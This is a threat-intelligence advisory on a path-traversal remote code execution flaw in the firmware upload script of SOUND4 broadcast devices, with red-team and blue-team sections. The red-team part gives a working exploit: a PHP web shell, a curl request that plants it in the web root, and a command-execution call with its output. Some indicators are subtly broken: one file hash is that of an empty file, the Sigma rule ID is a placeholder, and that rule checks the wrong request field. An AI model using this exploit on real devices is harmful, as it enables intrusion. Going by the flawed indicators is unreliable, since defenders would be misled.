CVE-2022-50796

Executive Summary

CVE-2022-50796 is a critical unauthenticated remote code execution (RCE) vulnerability affecting SOUND4 IMPACT, FIRST, PULSE, and Eco devices running firmware version 2.x and earlier. The flaw resides in the firmware upload functionality, specifically within the upload.cgi script, which fails to properly sanitize user-supplied file paths. This allows an attacker to perform a path traversal attack and write arbitrary files to the system with www-data permissions. Successful exploitation enables unauthorized access, code execution, and full compromise of the affected device. No official patch has been released, and the vulnerability is actively being exploited in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivial to exploit, requires no authentication, and can be executed remotely. The impact is total compromise of the device, making this a critical threat.

Deep Dive & Mechanics

The vulnerability exists in the upload.cgi script, which is used for firmware updates. The script accepts a file upload via an HTTP POST request. The filename is extracted from the Content-Disposition header and used directly in a file write operation without proper validation or sanitization. An attacker can manipulate the filename to include path traversal sequences (e.g., ../../../../tmp/shell.php) to write a malicious file to an arbitrary location on the filesystem.

The uploaded file is written with www-data permissions, which is the web server user. This user typically has write access to the web root directory, allowing the attacker to place a web shell or other malicious scripts. Once the file is written, the attacker can access it via the web server and execute arbitrary commands with www-data privileges.

The attack flow:

1. Attacker crafts an HTTP POST request to upload.cgi with a malicious file.
2. The filename contains path traversal sequences to target a writable directory (e.g., /var/www/html/).
3. The script writes the file to the specified location.
4. Attacker accesses the uploaded file via the web server (e.g., http://target/shell.php).
5. The attacker executes arbitrary commands on the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// upload.cgi - vulnerable version
char filename[256];
get_filename_from_request(filename); // No sanitization
char path[512];
snprintf(path, sizeof(path), "/uploads/%s", filename);
FILE *fp = fopen(path, "wb");
fwrite(file_data, 1, file_size, fp);
fclose(fp);

Patched Code (Conceptual):

// upload.cgi - patched version
char filename[256];
get_filename_from_request(filename);
// Sanitize: remove path traversal sequences
sanitize_filename(filename); // e.g., remove "../" and "..\\"
// Validate: ensure filename is alphanumeric only
if (!is_valid_filename(filename)) {
    return_error("Invalid filename");
}
char path[512];
snprintf(path, sizeof(path), "/uploads/%s", filename);
// Ensure path is within allowed directory
if (strstr(path, "/uploads/") != path) {
    return_error("Invalid path");
}
FILE *fp = fopen(path, "wb");
fwrite(file_data, 1, file_size, fp);
fclose(fp);

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: SOUND4 device with firmware version 2.x (e.g., SOUND4 IMPACT)
• Attacker: Kali Linux machine on the same network

Exploitation Steps:

1. Create a malicious PHP web shell:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

2. Craft the HTTP request with path traversal:

curl -X POST -F "file=@shell.php;filename=../../../../var/www/html/shell.php" http://target/cgi-bin/upload.cgi

3. Access the web shell:

curl http://target/shell.php?cmd=id

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor for unusual HTTP POST requests to /cgi-bin/upload.cgi with filenames containing path traversal sequences (e.g., ../, ..\\).
2. Check for unexpected files in the web root directory (e.g., /var/www/html/).
3. Review web server logs for requests to suspicious files (e.g., shell.php, cmd.php).
4. Monitor for outbound connections from the device to unknown IP addresses.

Mitigation Steps:

1. Immediately isolate affected devices from the network.
2. Block access to /cgi-bin/upload.cgi from untrusted networks.
3. Implement file integrity monitoring on the web root directory.
4. Apply vendor patches if available; otherwise, consider replacing the device.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • cmd.php: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

• Network Indicators:

  • HTTP POST requests to /cgi-bin/upload.cgi with filenames containing ../
  • HTTP GET requests to /shell.php, /cmd.php, or similar files
  • Outbound connections to known malicious IP addresses

• File System Indicators:

  • Unexpected files in /var/www/html/ or /var/www/
  • Files with www-data ownership in unusual locations

Detection Engineering

YARA Rule

rule CVE_2022_50796_Upload_Shell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2022-50796"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50796"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: CVE-2022-50796 - Unauthenticated RCE via Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests exploiting path traversal in upload.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/upload.cgi'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate firmware updates with unusual filenames
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-50796 - Path Traversal in upload.cgi"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/upload.cgi"; http_uri; content:".."; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the firmware upload functionality if not required.
   • Restrict access to /cgi-bin/upload.cgi using firewall rules or web server access controls.
   • Monitor for signs of compromise using the provided IOCs and detection rules.

2. Long-term Fixes:

   • Apply vendor patches when available.
   • Implement input validation and sanitization for all file uploads.
   • Use a whitelist of allowed filenames and extensions.
   • Ensure the web server runs with minimal privileges and the web root is not writable by the web server user.

3. Compromise Assessment:

   • Check for unauthorized files in the web root directory.
   • Review system logs for unusual activity.
   • Scan for backdoors or web shells using the YARA rule provided.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.